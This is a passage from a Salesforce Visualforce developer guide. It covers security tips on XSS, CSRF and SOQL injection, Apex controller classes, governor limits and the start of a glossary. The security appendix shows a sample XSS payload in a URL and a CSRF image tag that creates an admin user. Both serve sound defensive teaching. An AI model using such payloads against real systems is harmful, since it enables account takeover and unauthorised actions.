http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.
475
Appendix B: Security Tips for Apex and Visualforce Development SOQL Injection
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/articles/csrf-faq.shtml
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might
have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an
intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own
database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks
are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection.
In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
476
Appendix B: Security Tips for Apex and Visualforce Development SOQL Injection
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate
value, the statement executes as expected:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
477
Appendix B: Security Tips for Apex and Visualforce Development Data Access Control
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.
478
Appendix B: Security Tips for Apex and Visualforce Development Data Access Control
479
Appendix
C
Apex Classes Used in Visualforce Controllers
This appendix includes information about the system-supplied Apex classes that can be used when building custom Visualforce
controllers and controller extensions. These include:
• ApexPages Methods
• Action Class
• IdeaStandardController Class
• IdeaStandardSetController Class
• Message Class
• PageReference Class
• SelectOption Class
• StandardController Class
• StandardSetController Class
For more information on custom controllers and extensions, see Custom Controllers and Controller Extensions on page 76.
For more information on Apex, see the Force.com Apex Code Developer's Guide.
ApexPages Methods
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page. In
addition, ApexPages is used as a namespace for the PageReference and Message classes.
The following table lists the ApexPages methods:
addMessages Exception ex Void Adds a list of messages to the current page context based
on a thrown exception.
getMessages ApexPages.Message[] Returns a list of the messages associated with the current
context.
480
Appendix C: Apex Classes Used in Visualforce Controllers Action Class
Action Class
You can use an ApexPages.Action class to create an action method that you can use in a Visualforce custom controller or
controller extension. For example, you could create a saveOver method on a controller extension that performs a custom
save.
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
Methods
The action methods are all called by and operate on a particular instance of Action.
The table below describes the instance methods for Action.
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the
account being updated or created, the system writes a message to the system debug log. This example extends the standard
controller for Account.
The following is the controller extension.
481
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardController Class
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component>
<apex:attribute name="actionToInvoke" type="ApexPages.Action" .... />
...
<apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
...
</apex:component>
<apex:page controller="pageCon">
<c:myComp actionToInvoke="{!RedirectToStep2}"/>
...
</apex:page>
For information on the debug log, see “Viewing Debug Logs” in the online help.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the StandardController
Class.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your salesforce.com
representative.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom
extension controller when using the standard ideas controller.
Methods
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
The table below describes the instance method for IdeaStandardController.
In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the
StandardController Class. The following table lists these methods.
482
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardController Class
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
483
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardController Class
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller.
This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This
page must be named detailPage for this example to work.
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify
the ID of a specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.
484
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class
|
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="1">Next</ideas:detailOutputLink>
</apex:pageBlock>
</apex:page>
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in additional to what is provided by the
StandardSetController Class.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your salesforce.com
representative.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom
extension controller when using the standard list controller for ideas.
Methods
A method in the IdeaStandardSetController object is called by and operated on a particular instance of an
IdeaStandardSetController.
The table below describes the instance method for IdeaStandardSetController.
485
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the
StandardSetController Class.
Note: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas
returned by the getIdeaList method.
486
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas,
and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the
profile page for the current logged in user. This page must be named profilePage in order for this example to work:
487
Appendix C: Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that
displays the detail page for a specific idea. This page must be named viewPage in order for this example to work:
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list
controller:
Note: You must have created at least one idea for this example to return any ideas.
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page
must be named listPage in order for this example to work:
488
Appendix C: Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that
displays the detail page for a specific idea. This page must be named viewPage.
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided by the
StandardController Class.
Methods
The KnowledgeArticleVersionStandardController object has the following specialized instance methods:
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods
associated with the StandardController Class. The following table lists the inherited methods.
Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the
KnowledgeArticleVersionStandardController class.
489
Appendix C: Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
490
Appendix C: Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a custom
extension controller. In this example, you create a class named AgentContributionArticleController that allows customer-support
agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called FAQ. For instructions, see “Defining Article Types” in the online help.
2. Create a text custom field called Details. For instructions, see “Adding Custom Fields to Article Types” in the online
help.
3. Create a category group called Geography and assign it to a category called USA. For instructions, see “Creating and
Modifying Category Groups” in the online help and “Adding Data Categories to Category Groups” in the online help.
4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that
appears when an article is created on the close-case page.
*/
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as
an argument
public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId];
491
Appendix C: Apex Classes Used in Visualforce Controllers Message Class
*/
public static testMethod void testAgentContributionArticleController() {
String caseSubject = 'my test';
String caseDesc = 'my test description';
ApexPages.currentPage().getParameters().put('sourceId', caseId);
ApexPages.currentPage().getParameters().put('sfdc.override', '1');
ApexPages.KnowledgeArticleVersionStandardController ctl =
new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify
submitted-via-case articles), complete the following steps after creating the class:
1. Log into your Salesforce organization and click Your Name > Setup > Customize > Knowledge > Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with
the article type assigned to closed cases.
4. Click Save.
Message Class
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page
are automatically added to the page error collections. If there is an inputField component bound to the field with an error,
the message is added to the components error collection. All messages are added to the pages error collection. For more
information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
492
Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used
to summarize the message. For example:
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.
Methods
The Message methods are all called by and operate on a particular instance of Message.
The table below describes the instance methods for Message.
getDetail String Returns the value of the detail parameter used to create
the message. If no detail String was specified, this
method returns null.
getSeverity ApexPages.Severity Returns the severity enum used to create the message.
getSummary String Returns the summary String used to create the message.
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
• CONFIRM
• ERROR
• FATAL
• INFO
• WARNING
All enums have access to standard methods, such as name and value.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and
a set of query parameter names and values.
Use a PageReference object:
493
Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
• Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page
in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified
page and will prevent the page from being deleted while the controller or extension exists.
• PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld.
Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the
PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to
the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension
is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.
• PageReference pageRef = new PageReference('fullURL');
You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
Methods
PageReference methods are all called by and operate on a particular instance of a PageReference.
The table below describes the instance methods for PageReference.
494
Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class
getCookies Map<String, Returns a map of cookie names and cookie objects, where
System.Cookie[]> the key is a String of the cookie name and the value
contains the list of cookie objects with that name. Used
in conjunction with the cookie class. Only returns
cookies with the “apex__” prefix set by the
setCookies method.
getHeaders Map<String, String> Returns a map of the request headers, where the key
string contains the name of the header, and the value
string contains the value of the header. This map can be
modified and remains in scope for the PageReference
object. For instance, you could do:
PageReference.getHeaders().put('Date',
'9/9/99');
getParameters Map<String, String> Returns a map of the query string parameters that are
included in the page URL. The key string contains the
name of the parameter, while the value string contains
the value of the parameter. This map can be modified
and remains in scope for the PageReference object. For
instance, you could do:
PageReference.getParameters().put('id',
myID);
495
Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class
setRedirect Boolean redirect System.PageReference Sets the value of the PageReference object's redirect
attribute. If set to true, a redirect is performed through
a client side redirect. This type of redirect performs an
HTTP GET request, and flushes the view state, which
uses POST. If set to false, the redirect is a server-side
forward that preserves the view state if and only if the
target page uses the same controller and contains the
proper subset of extensions used by the source page.
Note that if the URL of the PageReference object is set
to a website outside of the salesforce.com domain,
or to a page with a different controller or controller
extension, the redirect always occurs, regardless of
whether the redirect attribute is set to true or
false.
496
Appendix C: Apex Classes Used in Visualforce Controllers PageReference Class
Request Headers
The following table describes some headers that are set on requests.
Header Description
Host The host name requested in the request URL. This header is always set on Force.com Site
requests and My Domain requests. This header is optional on other requests when HTTP/1.0
is used instead of HTTP/1.1.
Referer The URL that is either included or linked to the current request's URL. This header is
optional.
User-Agent The name, version, and extension support of the program that initiated this request, such
as a Web browser. This header is optional and can be overridden in most browsers to be a
different value. Therefore, this header should not be relied upon.
CipherSuite If this header exists and has a non-blank value, this means that the request is using HTTPS.
Otherwise, the request is using HTTP. The contents of a non-blank value are not defined
by this API, and can be changed without notice.
X-Salesforce-SIP The source IP address of the request. This header is always set on HTTP and HTTPS
requests that are initiated outside of Salesforce's data centers.
X-Salesforce-Forwarded-To The fully qualified domain name of the Salesforce instance that is handling this request.
This header is always set on HTTP and HTTPS requests that are initiated outside of
Salesforce's data centers.
The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController">
<apex:pageBlock title="Retrieving Query String Parameters">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
Note:
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL
of the page. To access id, the getAccount method uses the ApexPages namespace:
497
Appendix C: Apex Classes Used in Visualforce Controllers SelectOption Class
• First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
• Using the page reference, use the getParameters method to return a map of the specified query string parameter names
and values.
• Then a call to the get method specifying id returns the value of the id parameter itself.
The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected
to the detail page for the account just created:
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component. It consists of a label that is displayed to the end user, and a value that is returned to the controller
if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option,
but can still view it.
498
Appendix C: Apex Classes Used in Visualforce Controllers SelectOption Class
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
• SelectOption option = new SelectOption(value, label, isDisabled);
where value is the String that is returned to the controller if the option is selected by a user, label is the String that is
displayed to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select
the option, but can still view it.
• SelectOption option = new SelectOption(value, label);
where value is the String that is returned to the controller if the option is selected by a user, and label is the String that
is displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and
select the option.
Methods
The SelectOption methods are all called by and operate on a particular instance of SelectOption.
The table below describes the instance methods for SelectOption.
499
Appendix C: Apex Classes Used in Visualforce Controllers SelectOption Class
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a
selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems method defines
and returns the list of possible SelectOption objects:
In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to
retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag,
the options are displayed as checkboxes:
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
500
Appendix C: Apex Classes Used in Visualforce Controllers StandardController Class
StandardController Class
StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is
necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController
is the data type of the single argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
• ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Methods
StandardController methods are all called by and operate on a particular instance of a StandardController.
The table below describes the instance methods for StandardController.
501
Appendix C: Apex Classes Used in Visualforce Controllers StandardController Class
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller
extension:
502
Appendix C: Apex Classes Used in Visualforce Controllers StandardSetController Class
The following Visualforce markup shows how the controller extension from above can be used in a page:
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list
controllers provided by Salesforce. The StandardSetController class also contains a prototype object. This is a single
sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values
are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is
useful for writing pages that perform mass updates (applying identical changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype
object.
Instantiation
You can instantiate a StandardSetController in either of the following ways:
503
Appendix C: Apex Classes Used in Visualforce Controllers StandardSetController Class
ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM
Opportunity]));
Methods
StandardSetController methods are all called by and operate on a particular instance of a StandardSetController.
The table below describes the instance methods for StandardSetController.
504
Appendix C: Apex Classes Used in Visualforce Controllers StandardSetController Class
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock >
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.name}"/>
<apex:column value="{!o.closedate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
505
Appendix
D
Understanding Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that
runaway Apex does not monopolize shared resources. These limits, or governors, track and enforce the statistics outlined in the
following table. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception that cannot be
handled.
Governor limits apply to an entire organization, as well as to specific namespaces. For example, if you install a managed package
created by a salesforce.com ISV Partner from Force.com AppExchange, the components in the package belong to a namespace
unique from other components in your organization. Consequently, any Apex code in that package can issue up to 150 DML
statements while executing. In addition, any Apex code that is native to your organization can also issue up to 150 DML
statements, meaning more than 150 DML statements might execute during a single request if code from the managed package
and your native organization both execute. Conversely, if you install a package from AppExchange that is not created by a
salesforce.com ISV Partner, the code from that package does not have its own separate governor limit count. Any resources it
uses counts against the total for your organization. Cumulative resource messages and warning emails are also generated based
on managed package namespaces as well. For more information on salesforce.com ISV Partner packages, see salesforce.com
Partner Programs.
Description Limit
1
Total number of SOQL queries issued 100
Total number of SOQL queries issued for Batch Apex and future methods1 200
Total number of records retrieved by SOQL queries 50,000
Total number of SOSL queries issued 20
Total number of records retrieved by a single SOSL query 200
2
Total number of DML statements issued 150
Total number of records processed as a result of DML statements, Approval.process, or 10,000
database.emptyRecycleBin
506
Appendix D: Understanding Execution Governors and Limits
Description Limit
For loop list batch size 200
Total number of callouts (HTTP requests or Web services calls) in a request 10
Maximum timeout for all callouts (HTTP requests or Web services calls) in a request 120 seconds
Default timeout of callouts (HTTP requests or Web services calls) in a request 10 seconds
Total number of methods with the future annotation allowed per Apex invocation5 10
6
Maximum size of callout request or response (HTTP request or Web services call) 3 MB
Total number of sendEmail methods allowed 10
7
Total number of describes allowed 100
Total number of classes that can be scheduled concurrently 25
Total number of test classes that can be queued per a 24–hour period8 The greater of 500 or 10
multiplied by the number of
test classes in the organization
1
In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query.
These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship
queries contribute to the row counts of the overall code execution. In addition to static SOQL statements, calls to the following
methods count against the number of SOQL statements issued in a request.
• Database.countQuery
• Database.getQueryLocator
• Database.query
2
Calls to the following methods count against the number of DML queries issued in a request.
• Approval.process
• Database.convertLead
• Database.emptyRecycleBin
• Database.rollback
• Database.setSavePoint
• delete and Database.delete
• insert and Database.insert
• merge
• undelete and Database.undelete
• update and Database.update
• upsert and Database.upsert
• System.runAs
3
Email services heap size is 36 MB.
4
Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation,
with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from
the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than
a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
5
Salesforce also imposes a limit on the number of future method invocations: 200 method calls per full Salesforce user license,
Salesforce Platform user license, or Force.com - One App user license, per 24 hours. This is an organization-wide limit. Chatter
507
Appendix D: Understanding Execution Governors and Limits
Only, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included in this limit calculation.
For example, suppose your organization has three full Salesforce licenses, two Salesforce Platform licenses, and 100 Customer
Portal User licenses. Your entire organization is limited to only 1,000 method calls every 24 hours ((3+2) * 200, not 105.)
6
The HTTP request and response sizes count towards the total heap size.
7
Describes include the following methods and objects.
• ChildRelationship objects
• RecordTypeInfo objects
• PicklistEntry objects
• fields calls
8
This limit applies when you start tests asynchronously by selecting test classes for execution through the Apex Test Execution
page or by inserting ApexTestQueueItem objects using the Web Services API.
Limits apply individually to each testMethod.
Use the Limits methods to determine the code execution limits for your code while it is running. For example, you can use the
getDMLStatements method to determine the number of DML statements that have already been called by your program, or
the getLimitDMLStatements method to determine the total number of DML statements available to your code.
For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution times,
non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a non-selective
query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query
is selective. See More Efficient SOQL Queries.
Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state
information on API batches, because Salesforce may break up a batch into smaller chunks than the batch size you specify.
In addition to the execution governor limits, Apex has the following limits.
• The maximum number of characters for a class is 1 million.
• The maximum number of characters for a trigger is 1 million.
• The maximum amount of code used by all Apex code in an organization is 2 MB.
Note: This limit does not apply to certified managed packages installed from AppExchange, (that is, an app that
has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique from
the code in your organization. For more information on AppExchange Certified packages, see the Force.com
AppExchange online help.
This limit also does not apply to any code included in a class defined with the @isTest annotation.
• There is a limit on the method size. Large methods that exceed the allowed limit cause an exception to be thrown during
the execution of your code. Like in Java, the method size limit in Apex is 65,535 bytecode instructions in compiled form.
• If a SOQL query runs more than 120 seconds, the request can be canceled by Salesforce.
• Each Apex request is limited to 10 minutes of execution.
• A callout request to a given URL is limited to a maximum of 20 simultaneous requests.
• The maximum number of records that an event report returns for a user who is not a system administrator is 20,000, for
system administrators, 100,000.
• Each organization is allowed 10 synchronous concurrent events, each not lasting longer than 5 seconds. If additional requests
are made while 10 requests are running, it is denied.
• A user can have up to five query cursors open at a time. For example, if five cursors are open and a client application still
logged in as the same user attempts to open a new one, the oldest of the five cursors is released.
Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors,
five batch cursors, and five Visualforce cursors open at the same time.
508
Appendix D: Understanding Execution Governors and Limits
• In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes
a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a
different class in a different package. Even though the second package wasn't accessed directly by the first, because it occurs
in the same transaction, it's included in the number of namespaces being accessed in a single transaction.
• Any deployment of Apex is limited to 5,000 code units of classes and triggers.
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed Number of user licenses multiplied by
1,000, up to a daily maximum of
(Includes limit for On-Demand Email-to-Case)
1,000,000
Email Services: Maximum Size of Email Message (Body and Attachments) 10 MB1
On-Demand Email-to-Case: Maximum Email Attachment Size 10 MB
On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by
1,000, up to a daily maximum of
(Counts toward limit for Email Services)
1,000,000
1
The maximum size of email messages for Email Services varies depending on language and character set.
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day,
depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by
multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten
licenses, your organization can process up to 10,000 email messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production organization.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's
email address.
• Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and
attachments) exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
You can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time
(GMT). Single emails sent using the application don't count towards this limit.
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean
Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition
of Salesforce you are using:
509
Appendix D: Understanding Execution Governors and Limits
Note: The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
510
Appendix D: Understanding Execution Governors and Limits
511
Glossary
A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z
A
Account
An account is an organization, company, or consumer that you want to track—for example, a customer, partner, or
competitor.
Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction
control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that
looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system
events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service
requests and from triggers on objects.
Apex Controller
See Controller, Visualforce.
Apex Page
See Visualforce Page.
API Version
See Version.
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard
